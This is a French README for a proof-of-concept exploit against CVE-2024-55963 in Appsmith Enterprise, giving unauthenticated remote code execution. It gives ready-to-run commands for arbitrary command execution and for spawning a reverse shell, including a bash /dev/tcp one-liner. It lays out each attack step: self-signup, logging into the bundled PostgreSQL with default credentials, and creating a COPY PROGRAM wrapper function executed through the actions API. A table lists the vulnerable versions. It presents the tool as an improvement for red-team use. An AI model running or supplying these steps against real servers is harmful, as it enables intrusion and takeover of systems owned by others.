
CVE-2024-55963 permet l'exécution de code à distance sans authentification sur la plateforme Appsmith Enterprise en raison d'une base de données PostgreSQL mal configurée incluse par défaut.
Exploit PoC pour CVE‑2024‑55963 qui exécute des commandes arbitraires ou génère un reverse shell sur les instances Appsmith vulnérables.
Il gère automatiquement à la fois les serveurs modernes (avec la fonctionnalité environmentId) et les versions « legacy » plus anciennes qui l'ont précédé, vous pouvez donc utiliser un seul script pour toutes les versions de v1.20 jusqu'à la dernière version vulnérable v1.51.
# Run an arbitrary command (default is `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"
# spawn a reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>
Remarque : Tous les identifiants fonctionnent tant que le serveur autorise l'inscription en libre-service. Le script tente d'abord de se connecter et recourt à l'inscription si le compte n'existe pas.
/api/v1/environments/workspaces/{id} ; s'il est absent, bascule en mode legacy (environmentId vide)./api/v1/applications et extrait pageId.localhost:5432 avec les identifiants postgres/postgres (autorisé par le pg_hba.conf par défaut vulnérable).exec_cmd() ainsi qu'une table temporaire cmd_output qui collecte la sortie standard (STDOUT).SELECT * FROM exec_cmd('<votre commande>') via le point de terminaison /api/v1/actions/executebash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'requests| Version d'Appsmith | Résultat |
|---|---|
| 1.51 | ✅ RCE |
| 1.45 | ✅ RCE |
| 1.30 | ✅ RCE, chemin legacy |
| 1.52+ | ❌ Patché – échec de création de fonction |
Ce PoC est une légère amélioration de l'exploit de Rhino Security Labs (je n'avais pas réalisé qu'ils avaient déjà un PoC public lorsque j'examinais leurs recherches)
Le PoC de Rhino utilise des en-têtes, cookies et identifiants statiques. En testant cet exploit, j'ai rencontré des problèmes lorsque le compte existait déjà sur certaines versions. Ce script permet à l'utilisateur de saisir n'importe quelle combinaison email/mot de passe depuis la ligne de commande. Comme mentionné, le jeton CSRF est extrait plutôt que d'utiliser des valeurs codées en dur.
Environments API.COPY PROGRAM à l'intérieur du wrapper PL/pgSQL exec_cmd() et l'API /actions/execute, mais c'est sans doute plus bruyant. Rhino s'appuie sur le point de terminaison intégré d'aperçu du schéma pour émettre une instruction COPY (SELECT …) ad‑hoc. Ce point de terminaison tronque la longueur de la sortie et ajoute des règles de citation supplémentaires, ce qui rend plus difficiles le passage de longues commandes ou de charges utiles chaînées.pyfigletenvironmentId. L'exploit de Rhino suppose qu'il est toujours présent.Ensemble, ces choix de conception rendent l'exploit plus court, plus fiable et plus convivial pour une utilisation en équipe rouge tout en démontrant la même vulnérabilité sous-jacente.
Ce code est fourni uniquement à des fins éducatives et de test autorisé. L'exécuter sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite est probablement illégal. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.